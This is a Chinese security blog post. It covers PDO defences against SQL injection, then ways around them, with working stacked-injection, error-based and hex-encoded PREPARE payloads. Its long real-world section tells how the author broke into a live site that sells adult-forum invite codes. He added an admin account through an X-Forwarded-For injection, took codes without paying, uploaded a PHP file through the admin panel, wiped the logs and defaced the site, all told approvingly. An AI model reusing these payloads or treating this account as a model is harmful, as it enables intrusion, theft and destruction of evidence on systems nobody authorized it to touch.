|
bypass部分 温馨提示 本文章仅供学习交流使用，文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！ 0x01 PDO简介PDO全名PHP Data Object PDO扩展为PHP访问数据库定义了一个轻量级的一致接口。PDO提供了一个数据访问抽象层，这意味着，不管使用哪种数据库，都可以使用相同的函数（方法）来查询和获取数据。 PHP连接MySQL数据库有三种方式（MySQL、Mysqli、PDO），列表性比较如下：
如需在php中使用pdo扩展，需要在php.ini文件中进行配置 0x02 PDO防范SQL注入①调用方法转义特殊字符quote()方法(这种方法的原理跟addslashes差不多，都是转义) PDO类库的quate()方法会将输入字符串（如果需要）周围加上引号，并在输入字符串内转义特殊字符。 EG①: <?php$conn = new PDO('sqlite:/home/lynn/music.sql3');/* Dangerous string */$string = 'Naughty ' string';print 'Unquoted string: $stringn';print 'Quoted string:' . $conn->quote($string) . 'n';?>输出 Unquoted string: Naughty ' stringQuoted string: 'Naughty '' string' EG② test.sql SET NAMES utf8mb4;SET FOREIGN_KEY_CHECKS = 0;-- ------------------------------ Table structure for user-- ----------------------------DROP TABLE IF EXISTS `user`;CREATE TABLE `user` ( `id` int(10) NOT NULL, `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL, `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;-- ------------------------------ Records of user-- ----------------------------INSERT INTO `user` VALUES (0, 'admin', 'admin');INSERT INTO `user` VALUES (1, 'user', 'user');SET FOREIGN_KEY_CHECKS = 1;pdo.php
访问http://localhost/pdo.php?username=admin&password=admin 当我们使用单引号探测注入时 如图，单引号已被反斜线转义 ②预编译语句1、占位符-通过命名参数防止注入 通过命名参数防止注入的方法会使得程序在执行SQL语句时，将会把参数值当成一个字符串整体来进行处理，即使参数值中包含单引号，也会把单引号当成单引号字符，而不是字符串的起止符。这样就在某种程度上消除了SQL注入攻击的条件。 将原来的SQL查询语句改为 Select * from where name=:username and password=:passwordprepare方法进行SQL语句预编译 最后通过调用rowCount()方法，查看返回受sql语句影响的行数 返回0语句执行失败，大于等于1，则表示语句执行成功。 All code <?phpheader('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{ $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); $sql='select * from user where name=:username and password=:password'; $stmt=$pdo->prepare($sql); $stmt->execute(array(':username'=>$username,':password'=>$password)); echo $stmt->rowCount();}catch(PDOException $e){ echo $e->getMessage();}?>查询成功 注入失败 2、占位符-通过问号占位符防止注入 把SQL语句再进行修改 select * from user where name=? and password=?同上，prepare方法进行SQL语句预编译 最后调用rowCount()方法，查看返回受sql语句影响的行数
效果同上 查询成功 注入失败 3.通过bindParam()方法绑定参数防御SQL注入 修改语句部分 $sql='select * from user where name=:username and password=:password'; $stmt=$pdo->prepare($sql); $stmt->bindParam(':username',$username,PDO::PARAM_STR); $stmt->bindParam(':password',$password,PDO::PARAM_STR);解释： a)：:username 和 :password为命名参数 b)：$username;$password为获取的变量，即用户名和密码。 c)：PDO::PARAM_STR,表示参数变量的值一定要为字符串，即绑定参数类型为字符串。在bindparam()方法中，默认绑定的参数类型就是字符串。 当你要接受int型数据的时候可以绑定参数为PDO::PARAM_INT.
查询成功 注入失败 这只是总结了一部分PDO防范SQL注入的方法，仍有方法请见下文 其他手法还有很多，大家感兴趣的话可以自行研究 0x03 PDO下的注入手法与思考读完前文后，读者们可能不由感叹，真狠啊，什么都tmd转义，什么语句都预编译了，这我tmd注入个毛... 北宋宰相王安石有言“看似寻常最奇崛,成如容易却艰辛” 让我们抽丝剥茧来探寻PDO下的注入手法 目前在PDO下，比较通用的手法主要有如下两种 ①宽字节注入注入的原理就不讲了，相信大家都知道 一张图，清晰明了
当Mysql数据库my.ini文件中设置编码为gbk时， 我们的PHP程序哪怕使用了addslashes()，PDO::quote，mysql_real_escape_string()、mysql_escape_string()等函数、方法，或配置了magic_quotes_gpc=on，依然可以通过构造%df'的方法绕过转义 ②堆叠注入与报错注入PDO分为模拟预处理和非模拟预处理。 模拟预处理是防止某些数据库不支持预处理而设置的，也是众多注入的元凶 在初始化PDO驱动时，可以设置一项参数，PDO::ATTR_EMULATE_PREPARES，作用是打开模拟预处理(true)或者关闭(false),默认为true。 PDO内部会模拟参数绑定的过程，SQL语句是在最后execute()的时候才发送给数据库执行。 非模拟预处理则是通过数据库服务器来进行预处理动作，主要分为两步： 第一步是prepare阶段，发送SQL语句模板到数据库服务器； 第二步通过execute()函数发送占位符参数给数据库服务器执行。 PDO产生安全问题的主要设置如下：
PDO默认是允许多句执行和模拟预编译的，在用户输入参数可控的情况下，会导致堆叠注入。 2.1 没有过滤的堆叠注入情况<?phpheader('content-type=text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{ $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); $sql='select * from user where username='{$username}' and password='{$password}''; echo $sql.'</br>'; $row=$pdo->query($sql); foreach ($row as $key => $value) { print_r($value); }}catch(POOException $e){ echo $e->getMessage();}因为在$pdo>query()执行之前，我们便可以对$sql进行非法操作，那PDO相当于没用
如果想禁止多语句执行，可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false new PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false)) 但是哪怕禁止了多语句执行，也只是防范了堆叠注入而已，直接union即可
2.2 模拟预处理的情况<?phptry { $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); //$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $username = $_GET['username']; $sql = 'select id,'.$_GET['role'].' from user where username = ?'; $stmt = $pdo->prepare($sql); $stmt->bindParam(1,$username); $stmt->execute(); while($row=$stmt->fetch(PDO::FETCH_ASSOC)) { var_dump($row); echo '<br>'; }} catch (PDOException $e) { echo $e;}$role是可控的，导致可实现堆叠注入和inline query
2.3当设置PDO::ATTR_ERRMODE和PDO::ERRMODE_EXCEPTION开启报错时设置方法 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 无论是否开启PDO::ATTR_EMULATE_PREPARES-模拟预处理 此时SQL语句如果产生报错，PDO则会将报错抛出 除设置错误码之外，PDO 还将抛出一个 PDOException 异常类并设置它的属性来反射错误码和错误信息。 此设置在调试期间也非常有用，因为它会有效地放大脚本中产生错误的点，从而可以非常快速地指出代码中有问题的潜在区域 在这种情况下可以实现error-based SQL Injection 使用GTID_SUBSET函数进行报错注入 http://192.168.1.3/pdo.php?role=id OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)&username=admin&username=admin
2.4 非模拟预处理的情况<?phptry { $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $username = $_GET['username']; $sql = 'select id,'.$_GET['role'].' from user where username = ?'; $stmt = $pdo->prepare($sql); $stmt->bindParam(1,$username); $stmt->execute(); while($row=$stmt->fetch(PDO::FETCH_ASSOC)) { var_dump($row); echo '<br>'; }} catch (PDOException $e) { echo $e;}此时堆叠注入已经歇逼
但inline query，报错注入依然坚挺可用
③一个安全的case只要语句内存在有用户非纯字符可控部分，便不够安全；那我们就用非模拟预处理sql写法 $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 它会告诉 PDO 禁用模拟预处理语句，并使用 real parepared statements 。 这可以确保SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的（禁止了所有可能的恶意SQL注入攻击）。 如下为一个安全使用PDO的case $pdo = new PDO('mysql:dbname=testdatabase;host=localhost;charset=utf8', 'root', 'root');$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);$stmt = $pdo->prepare('SELECT * FROM wz_admin WHERE id = :id');$stmt->execute(array('id' => $id));print_r($stmt -> fetchAll ());exit();
0x04 案例剖析-ThinkPHP5中PDO导致的一个鸡肋注入(来自Phithon师傅)我们来看Phithon师傅几年前博客发的一个case https://www./PENETRATION/thinkphp5-in-sqlinjection.html <?phpnamespace app\index\controller;use app\index\model\User;class Index{ public function index(){ $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select(); }}如上述代码，如果我们控制了in语句的值位置，即可通过传入一个数组，来造成SQL注入漏洞。 文中已有分析，我就不多说了，但说一下为什么这是一个SQL注入漏洞。IN操作代码如下： <?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) { // 处理带非单词字符的字段名 $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) { // IN 查询 if ($value instanceof \Closure) { $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value); } else { $value = is_array($value) ? $value : explode(',', $value); if (array_key_exists($field, $binds)) { $bind = []; $array = []; foreach ($value as $k => $v) { if ($this->query->isBind($bindName . '_in_' . $k)) { $bindKey = $bindName . '_in_' . uniqid() . '_' . $k; } else { $bindKey = $bindName . '_in_' . $k; } $bind[$bindKey] = [$v, $bindType]; $array[] = ':' . $bindKey; } $this->query->bind($bind); $zone = implode(',', $array); } else { $zone = implode(',', $this->parseValue($value, $field)); } $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? '''' : $zone) . ')'; }可见， 也就是说，我们控制了预编译SQL语句中的键名，也就说我们控制了预编译的SQL语句，这理论上是一个SQL注入漏洞。那么，为什么原文中说测试SQL注入失败呢？ 这就是涉及到预编译的执行过程了。通常，PDO预编译执行过程分三步： 1. 这个漏洞实际上就是控制了第二步的
所以，这个错误“似乎”导致整个过程执行不到第三步，也就没法进行注入了。 但实际上，在预编译的时候，也就是第一步即可利用。我们可以做有一个实验。编写如下代码： <?php$params = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_EMULATE_PREPARES => false,];$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);try { $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');} catch (\PDOException $e) { var_dump($e);}执行发现，虽然我只调用了prepare函数，但原SQL语句中的报错已经成功执行：
究其原因，是因为我这里设置了 这个选项涉及到PDO的“预处理”机制：因为不是所有数据库驱动都支持SQL预编译，所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理，那么PDO内部会模拟参数绑定的过程，SQL语句是在最后 非模拟预处理的情况下，参数化绑定过程分两步：第一步是prepare阶段，发送带有占位符的sql语句到mysql服务器（parsing->resolution），第二步是多次发送占位符参数给mysql服务器进行执行（多次执行optimization->execution）。 这时，假设在第一步执行 ...// PDO连接参数protected $params = [ PDO::ATTR_CASE => PDO::CASE_NATURAL, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, PDO::ATTR_STRINGIFY_FETCHES => false, PDO::ATTR_EMULATE_PREPARES => false,];... 可见，这里的确设置了 http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是，如果你将user()改成一个子查询语句，那么结果又会爆出 因为没有过多研究，说一下我猜测：预编译的确是mysql服务端进行的，但是预编译的过程是不接触数据的 ，也就是说不会从表中将真实数据取出来，所以使用子查询的情况下不会触发报错；虽然预编译的过程不接触数据，但类似user()这样的数据库函数的值还是将会编译进SQL语句，所以这里执行并爆了出来。 0x05 实战案例-从cl社区激活码到Git 2000+ Star项目0day5.1 起因挖SRC，做项目做的心生烦闷，前几日忍不住在家看1024(cl)社区，越看越来劲，邪火攻心，想搜片看 奈何cl社区一向奉行邀请制，邀请码又很难搞到，可谓让人十分不爽 于是本人去google上找了一个卖1024社区邀请码的站
88块钱....虽然不算贵，但售卖这种东西本来就是不受法律保护的。作为一个JB小子，怎么可能不动点白嫖心思？ 在黑盒测试了一段时间后，发现支付逻辑和前台都没什么安全问题。。难道我真的要花钱买这激活码？？？？ 不可能，绝对不可能。 看到网站底部有一个Powered by xxx，呵呵呵，好家伙，不出意外这应该就是这个站用的CMS系统了
去Git上一搜，还真有，2000多个Star，作者维护了好几年，也算是个成熟的项目了。 直接把最新版源码下载下来，丢进PHPstorm里开始审计 5.2 从审计思路到PDO导致的前台XFF堆叠注入就我个人而言，拿到一套源码，我更喜欢黑白盒相结合；根据前台能访问到的功能点来确定自己审计的目标 简单看了一下整套系统是MVC架构的，使用了PDO，使用有部分过滤规则；后台默认路径是/admin 看了一遍前台的功能点，发现在查询订单处路径名很有趣，带有一个/query，直接搜一下页面上关键词，跟进入到源码中
发现了如下的一段code
PDO均为默认配置，立马想到了堆叠注入 经测试orderid用户可控，全局搜索orderid发现，orderid经函数方法后被处理为纯字符串，没有注入余地，故选择另辟蹊径 后发现ip参数用户同样可控，在调用select方法前没做任何处理。 ip参数调用的是getClientIP方法，我们跟一下getClientIP方法
很好理解，就是从常见的http header中获取客户端IP 但是非常高兴，ip参数未做任何处理，我们可以通过构造XFF头来实现堆叠注入 因为有csrf_token的校验，我们必须在查询订单的页面，随便输入个订单号，随后输入正确的验证码，随后查询才有效 随后手动构造XFF头，进行针对PDO的堆叠注入 因为PDO处为双引号进行语句闭合，且属于无回显的堆叠注入 故构造Payload为 X-FORWARDED-For:1';select sleep(5)#
延迟了5s，注入成功。 针对这种没回显的堆叠注入，盲注太慢，用Dnslog OOB又太慢，所以选择构造一个添加后台管理员的insert payload X-FORWARDED-For:1“;insert into t_admin_user values(99,'test@test.test','76b1807fc1c914f15588520b0833fbc3','78e055',0); 但是现实是很残酷的，测试发现，在XFF头中，1'将语句闭合后只要出现了引号或者逗号，就会引发报错，SQL语句无法执行 但是具有一定审计经验的兄弟一定会想到，PDO下Prepare Statement给我们提供了绕过过滤进行注入的沃土 山重水复疑无路，柳暗花明又一村 5.3 Prepare Statement构造注入语句知识补充 --- Prepare Statement写法 MySQL官方将prepare、execute、deallocate统称为PREPARE STATEMENT(预处理) 预制语句的SQL语法基于三个SQL语句： prepare stmt_name from preparable_stmt;execute stmt_name [using @var_name [, @var_name] ...];{deallocate | drop} prepare stmt_name;给出MYSQL中两个简单的demo set@a='select user()';PREPARE a FROM @a;execute a;select sleep(3);#set@a=0x73656C65637420757365722829;PREPARE a FROM @a;execute a;select sleep(3);# //73656C65637420757365722829为select user() 16进制编码后的字符串，前面再加上0x声明这是一个16进制字符串 Prepare语句在防范SQL注入方面起到了非常大的作用，但是对于SQL注入攻击却也提供了新的手段。 Prepare语句最大的特点就是它可以将16进制串转为语句字符串并执行。如果我们发现了一个存在堆叠注入的场景，但过滤非常严格，便可以使用prepare语句进行绕过。 将我们的insert语句直接hex编码
构造注入语句 X-FORWARDED-For:1';set@a=0x696E7365727420696E746F20745F61646D696E5F757365722076616C7565732839392C227465737440746573742E74657374222C223736623138303766633163393134663135353838353230623038333366626333222C22373865303535222C30293B;PREPARE a FROM @a;execute a;select sleep(3);#//sleep用于判断注入是否成功
延时3s，注入成功，成功添加了一个账号为test@test.test[4]，密码为123456的后台管理员 直接默认后台路径/admin登录后台
前台提交一个cl社区邀请码的订单 后台修改订单状态为确认付款
没过一会，邀请码直接到邮箱
以后可以搜片看了
5.4 不讲武德被发现在不讲武德，连续薅了几个邀请码，发给朋友后 站长终于发现了
八嘎，既然发现了，那就干脆把你的站日下来吧，然后好好擦擦屁股，免得0day被这站长抓走
5.5 后台Getshell审计(Thanks 17@M78sec)经测试后台的文件上传处鉴权比较严格，没法直接前台getshell 但是后台文件上传处，没有对文件扩展名进行任何过滤，只有一处前端js校验，所以后台getshell直接白给
文件上传后不会返回上传路径，但上传路径和上传文件的命名规则我们已经了如指掌
UPLOAD_PATH定义如下 define('UPLOAD_PATH', APP_PATH.'/public/res/upload/');CUR_DATE定义如下 define('CUR_DATE', date('Y-m-d'));文件名 $filename=date('His'); //小时+分钟+秒以我现在21点05分钟为例，输出结果如下
以2021年5月26日的21点05分44秒为例 完整的文件路径即为 http://www./res/upload/2021-05-26/210444.php直接构造表单 <meta charset='utf-8'><form action='http:///Admin/products/imgurlajax' method='post' enctype='multipart/form-data'> <label for='file'>File:</label> <input type='file' name='file' id='file' /> <input type='text' name='pid' id='pid' /> <--! pid记得自行修改为商品的id(后台选择商品抓包即可获取)--></--!> <input type='submit' value='Upload' /></form> 同时需要添加Referer: http:///Admin/products/imgurl/?id=1,并修改下方的pid 否则会提示“请选择商品id” 最后完整的上传http request如下 POST http:///Admin/products/imgurlajax HTTP/1.1Host: xxxxContent-Length: 291Accept: application/json, text/javascript, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSrhtSPGxub0H0ebOrigin: http://47.105.132.207Referer: http:///Admin/products/imgurl/?id=12Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=ql4ep5uk8cf9i0rvihrruuilaqConnection: close------WebKitFormBoundaryeSrhtSPGxub0H0ebContent-Disposition: form-data; name='file'; filename='test.php'Content-Type: image/png<?php phpinfo();------WebKitFormBoundaryeSrhtSPGxub0H0ebContent-Disposition: form-data; name='pid'12------WebKitFormBoundaryeSrhtSPGxub0H0eb--直接上传成功 随后通过burpsuite Intruder来跑一下最后的秒数 毕竟秒数不能拿捏的那么精准
直接拿捏。 把web日志清理掉 然后给public index页面加点乐子
传统功夫，点到为止。
0x06 总结本文主要介绍了通过PDO防范SQL注入的方法和PDO中的注入利用思路，并给大家带来了一个0day实例 你会发现层层抽丝剥茧研究一个模块，并将其中的姿势应用于实战中，是一件很美妙的事情。 由于政策问题就不发是什么系统了，相信师傅们是很容易定位到出现本0day的系统的，这个0day就算白送各位师傅的了，希望师傅们也早日成为1024社区会员
0x07 Refence：https://www./PENETRATION/thinkphp5-in-sqlinjection.html https://blog.51cto.com/u_12332766/2137035 https://xz.aliyun.com/t/3950 |
|
|
来自： cn1188181 > 《a网络安全信息安全》
